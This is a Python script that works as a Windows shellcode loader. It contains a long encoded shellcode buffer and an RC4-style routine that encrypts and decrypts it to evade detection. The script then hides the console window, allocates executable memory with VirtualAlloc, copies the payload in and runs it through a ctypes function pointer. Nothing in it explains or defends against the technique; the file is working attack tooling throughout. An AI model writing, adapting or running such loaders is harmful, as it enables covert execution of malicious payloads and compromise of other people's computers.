from ctypes import *
import ctypes
import sys, os, hashlib, time, base64

def rc4(string, op=\'encode\', public_key=\'ddd\', expirytime=0):
    ckey_lenth = 4
    public_key = public_key and public_key or \'\'
    key = hashlib.md5(public_key).hexdigest()
    keya = hashlib.md5(key[0:16]).hexdigest()
    keyb = hashlib.md5(key[16:32]).hexdigest()
    keyc = ckey_lenth and (op == \'decode\' and string[0:ckey_lenth] or hashlib.md5(str(time.time())).hexdigest()[32 - ckey_lenth:32]) or \'\'
    cryptkey = keya + hashlib.md5(keya + keyc).hexdigest()
    key_lenth = len(cryptkey)  # 64
    string = op == \'decode\' and base64.b64decode(string[4:]) or \'0000000000\' + hashlib.md5(string + keyb).hexdigest()[0:16] + string
    string_lenth = len(string)
    result = \'\'
    box = list(range(256))
    randkey = []
    for i in xrange(255):
        randkey.append(ord(cryptkey[i % key_lenth]))
    for i in xrange(255):
        j = 0
        j = (j + box[i] + randkey[i]) % 256
        tmp = box[i]
        box[i] = box[j]
        box[j] = tmp
    for i in xrange(string_lenth):
        a = j = 0
        a = (a + 1) % 256
        j = (j + box[a]) % 256
        tmp = box[a]
        box[a] = box[j]
        box[j] = tmp
        result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
    if op == \'decode\':
        if (result[0:10] == \'0000000000\' or int(result[0:10]) - int(time.time()) > 0) and result[10:26] == hashlib.md5(
                result[26:] + keyb).hexdigest()[0:16]:
            return result[26:]
        else:
            return None
    else:
        return keyc + base64.b64encode(result)


buf =  b""
buf += b"\\xb8\\x28\\xce\\x23\\x6c\\xdb\\xca\\xd9\\x74\\x24\\xf4\\x5a\\x31"
buf += b"\\xc9\\xb1\\xec\\x31\\x42\\x14\\x03\\x42\\x14\\x83\\xea\\xfc\\xca"
buf += b"\\x3b\\xf8\\xa6\\xb1\\x1e\\x60\\x6e\\x19\\x47\\xeb\\xab\\x55\\x27"
buf += b"\\x3d\\x7d\\x24\\x3d\\xbe\\x92\\xba\\x8f\\x9e\\x7a\\x41\\xaf\\x36"
buf += b"\\x61\\x6a\\x0b\\xa1\\x03\\xb3\\x5f\\xd3\\x48\\x35\\x26\\xa9\\x11"
buf += b"\\xa7\\x32\\x7d\\x80\\xe6\\xd1\\x66\\x9a\\x66\\xc4\\xce\\x49\\x58"
buf += b"\\x57\\x8b\\x00\\x8c\\x91\\xdf\\xd7\\xec\\xe0\\x5f\\x72\\x48\\xc8"
buf += b"\\xee\\xaf\\x99\\x62\\x57\\xf0\\x56\\x40\\x7e\\xc2\\xc2\\x8e\\x3b"
buf += b"\\xbe\\x0f\\x7d\\x5b\\x82\\xa3\\xd8\\x02\\xcf\\xf4\\xf7\\x15\\x32"
buf += b"\\xb8\\xbc\\x0a\\x03\\xb8\\x34\\x22\\x2f\\x21\\x58\\x83\\x6b\\x8f"
buf += b"\\xa0\\x32\\xda\\x92\\x9a\\x7a\\x0b\\xb8\\x42\\x82\\x09\\xe9\\x32"
buf += b"\\x94\\x17\\xcb\\x5a\\xea\\x8e\\xdb\\xda\\x9f\\x86\\x17\\x6b\\xc8"
buf += b"\\x95\\xf1\\xbc\\x1d\\x1c\\xbc\\x57\\x10\\xad\\x85\\x4a\\x35\\x3f"
buf += b"\\xf8\\x01\\xc0\\xa4\\x35\\x5c\\xd8\\xb7\\xf5\\x2c\\xfd\\x2f\\xd8"
buf += b"\\x57\\x21\\xe3\\x0d\\x0c\\x57\\xa1\\x0f\\xcb\\xfe\\x18\\x5a\\x7f"
buf += b"\\xa5\\xa6\\xc6\\x2e\\x61\\xad\\xc3\\x4c\\xb6\\xa1\\x03\\x47\\x83"
buf += b"\\x03\\xd2\\x09\\xff\\x15\\xd3\\x38\\x12\\x40\\x94\\xdd\\xae\\x5a"
buf += b"\\x32\\x52\\x6c\\xa2\\xa8\\x18\\xdd\\xd9\\x6b\\x3e\\x84\\x15\\x8f"
buf += b"\\xe4\\x85\\x9e\\x3d\\xca\\xee\\xa7\\xff\\x44\\x18\\xf9\\xcd\\x80"
buf += b"\\x9a\\xc5\\x0a\\x25\\xcc\\xf1\\xcd\\x1f\\xf6\\xf4\\x45\\x16\\xbc"
buf += b"\\x8c\\x96\\xdc\\x71\\x9b\\x35\\xaf\\xaf\\xa0\\xd3\\x57\\x0a\\x2e"
buf += b"\\xb1\\x63\\xa6\\xfa\\xa4\\x11\\xa1\\x8d\\x87\\xc9\\xeb\\x0e\\x85"
buf += b"\\xa9\\x6d\\x9c\\x4b\\x60\\xd0\\xcb\\xf6\\x2b\\xa9\\xcf\\x36\\xef"
buf += b"\\xa2\\x5f\\x98\\xa1\\x38\\xfd\\x86\\x74\\xab\\xd2\\x8b\\x4b\\xfd"
buf += b"\\xd0\\xd7\\x7b\\x64\\x8b\\x34\\x3a\\xad\\x19\\xce\\xba\\x88\\x33"
buf += b"\\x92\\x59\\xb4\\xea\\x80\\x5a\\x6f\\x39\\xbb\\xe4\\xa9\\xba\\xd4"
buf += b"\\x3b\\x74\\xa0\\xc0\\x84\\xc8\\xb4\\xf0\\xcd\\x2e\\x30\\x05\\x96"
buf += b"\\x87\\xd3\\x04\\xf6\\x69\\x4b\\xd0\\x88\\x00\\x83\\x4a\\x3b\\x1e"
buf += b"\\x50\\x68\\x47\\x9f\\x12\\x81\\x84\\x49\\x18\\x88\\x78\\x34\\x28"
buf += b"\\x13\\x49\\x37\\xd0\\xc2\\x6f\\x78\\x88\\xc5\\x30\\xbd\\x92\\x90"
buf += b"\\x6d\\x96\\xa7\\xbd\\xec\\xef\\x91\\x1c\\x6b\\xb5\\xca\\x24\\x24"
buf += b"\\x41\\x2a\\xce\\x4f\\x7f\\x5e\\x82\\xc8\\xbc\\x8a\\x1c\\xd8\\x0a"
buf += b"\\xe3\\xcf\\xb6\\x3e\\x12\\x72\\x4e\\x05\\xd0\\x40\\x59\\x82\\x05"
buf += b"\\x32\\xbb\\x1a\\xe4\\x0a\\x62\\x9a\\xff\\x89\\xc6\\xce\\xaa\\xeb"
buf += b"\\x04\\xae\\x95\\x65\\x19\\x3b\\x79\\x1e\\xe7\\xe7\\x06\\x8e\\xa7"
buf += b"\\xa2\\x98\\x6c\\x6c\\xb7\\x01\\x66\\x13\\x09\\x60\\x78\\x39\\x3f"
buf += b"\\x49\\x47\\x7c\\x55\\xba\\x57\\xd2\\x93\\xb5\\xcc\\x6d\\x23\\xe2"
buf += b"\\xd6\\xcb\\xd5\\x13\\x46\\x60\\x5b\\xaf\\x49\\x7a\\x00\\xdc\\x78"
buf += b"\\x58\\x6c\\x46\\x79\\xd8\\x3e\\xdb\\x3f\\xd7\\x3f\\x08\\xf2\\x8b"
buf += b"\\x2d\\x22\\x07\\x03\\x7d\\x88\\xfe\\xc6\\xef\\xe4\\x95\\x4a\\x56"
buf += b"\\xa0\\x81\\xf5\\x69\\xca\\x38\\x00\\x3f\\xa0\\x86\\x9a\\xca\\xd8"
buf += b"\\x5f\\xe5\\x38\\x93\\xb0\\x1b\\x81\\x32\\x15\\xbc\\xba\\xc3\\x9d"
buf += b"\\xa7\\x85\\x9c\\x5b\\x93\\x42\\x63\\xc2\\xb6\\x4b\\x72\\xb7\\x7e"
buf += b"\\xd8\\xb9\\x14\\xe7\\x5a\\x34\\x5a\\xee\\xa9\\x8b\\x3d\\x13\\x84"
buf += b"\\x18\\xf1\\xb3\\xda\\x05\\x27\\x95\\xb2\\x7f\\xda\\x67\\xf7\\x68"
buf += b"\\x47\\x5c\\x0a\\xe6\\x95\\x0f\\xbe\\x39\\xea\\xe5\\xf6\\x09\\x2a"
buf += b"\\xe8\\x0c\\x93\\xb0\\xf3\\x79\\x03\\xd5\\x37\\xf1\\xcb\\xae\\x35"
buf += b"\\x4c\\xd9\\x3a\\xa7\\x74\\xf2\\x49\\xdb\\x25\\x30\\x08\\xc2\\x26"
buf += b"\\x72\\x8b\\x40\\x30\\xd9\\x93\\x5c\\xee\\xbd\\xe1\\xd1\\x2d\\x03"
buf += b"\\x05\\x16\\x11\\x74\\x2d\\xfe\\x24\\x84\\x27\\x0f\\x8e\\x0d\\xd9"
buf += b"\\x26\\x63\\x0c\\x45\\x86\\xa3\\x59\\x9d\\x3f\\xbf\\x53\\x21\\x67"
buf += b"\\xbf\\xad\\x77\\xb0\\x38\\xf2\\x05\\x6c\\x51\\xcd\\xc7\\xfd\\x11"
buf += b"\\xee\\xd6\\x07\\x01\\x82\\xf5\\x0c\\xb9\\xa8\\x40\\x0a\\xb6\\x17"
buf += b"\\x41\\xc9\\xa1\\x67\\x5a\\x7b\\x21\\x15\\x3f\\x5d\\xe1\\xe3\\x61"
buf += b"\\x22\\xb5\\xbb\\xc9\\x91\\x8b\\xd7\\x62\\x34\\xf3\\x56\\x74\\x15"
buf += b"\\xae\\xbf\\xc3\\xf3\\x53\\x0b\\xb3\\xef\\xc1\\x59\\x95\\x2b\\x54"
buf += b"\\x8c\\x50\\x90\\xab\\xc8\\xa3\\x1b\\xaa\\xda\\xdd\\xd6\\x0e\\xd6"
buf += b"\\xbd\\x6d\\x7b\\x76\\x88\\x04\\x42\\x50\\xf0\\x9a\\xe1\\x72\\x79"
buf += b"\\xdb\\x8b\\x3b\\xb4\\x6b\\x8e\\xd2\\x58\\xa4\\x1b\\x81\\xad\\x48"
buf += b"\\x17\\xaa\\x9c\\xe5\\x1f\\xc3\\x10\\xd8\\x82\\x42\\x7a\\xb0\\x3b"
buf += b"\\x29\\xb7\\xa9\\xf1\\xee\\x40\\x42\\xcc\\xa8\\x8b\\x84\\xce\\x7c"
buf += b"\\xd7\\x0d\\x34\\x08\\xb6\\xe5\\xaf\\x27\\x84\\x5c\\x28\\x15\\xe1"
buf += b"\\x46\\x7c\\xb0\\xa8\\x7a\\xc3\\x77\\x12\\x7a\\xda\\xb3\\xc8\\x5f"
buf += b"\\x29\\x08\\x82\\x05\\xf9\\xe4\\xb3\\xcd\\xf6\\x41\\x5f\\x55\\x9b"
buf += b"\\x9a\\x5d\\x6a\\x69\\x1b\\x51\\x0c\\x77\\xf5\\xc1\\x79\\x1b\\x1e"
buf += b"\\xd8\\xd3\\x24\\x41\\xee\\x4f\\x1c\\x5c\\xef\\x77\\xf2\\x68\\x71"
buf += b"\\x49\\x51\\xfc\\x27\\x5e\\x55\\x35\\xdf\\x4f\\x9e\\x8d\\xe5\\xf9"
buf += b"\\x3e\\x7d\\xc7\\x58\\x99\\xc0\\xe2\\xda\\xe7\\xad\\x85\\xf1\\xb3"
buf += b"\\x34\\xc9\\xc4\\x48\\x26\\x4f\\x9e\\x66\\xf1\\xcb\\x68\\x82\\xf7"
buf += b"\\xe6\\x96\\x43\\x9a\\x0c\\xe4\\x0e\\x36\\x81\\xde\\x7d\\xa9\\x54"
buf += b"\\xce\\xa2\\xf5\\xfc\\xcc\\x89\\x0d\\x01\\x5c\\xf2\\xbe\\x99\\xc2"
buf += b"\\xe3\\x68\\x12\\x3d\\xb0\\x76\\xfe\\xd6\\x1c\\xd1\\x57\\xa7\\xa8"
buf += b"\\xa2\\xfc\\x4a\\x65\\x75\\xa2\\xd1\\xa4\\xbe\\xd9\\x98\\x03\\x37"
buf += b"\\xae\\xaf\\x82\\x2a\\x55\\x57\\xe9\\x70\\x9b\\x3b\\x07\\x44\\x6b"
buf += b"\\x47\\xb7\\x42\\x41\\x10\\x01\\x25"



buf=rc4(buf,\'encode\',\'6666666666666\')

# libc = CDLL(\'libc.so.6\')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
    buf = c_char_p(buffer)
    size = len(buffer)
    addr = libc.valloc(size)
    addr = c_void_p(addr)
    if 0 == addr:
        raise Exception("Failed to allocate memory")
    memmove(addr, buf, size)
    if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
        raise Exception("Failed to set protection on buffer")
    return addr

VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(rc4(buf, \'decode\', \'6666666666666\'))
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
    if 666 == 666:
        ctypes.windll.user32.ShowWindow(whnd, 0)
        ctypes.windll.kernel32.CloseHandle(whnd)
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                                      ctypes.c_int(len(shellcode)),
                                                      ctypes.c_int(0x3000),
                                                      ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)), 0x40, ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
shell()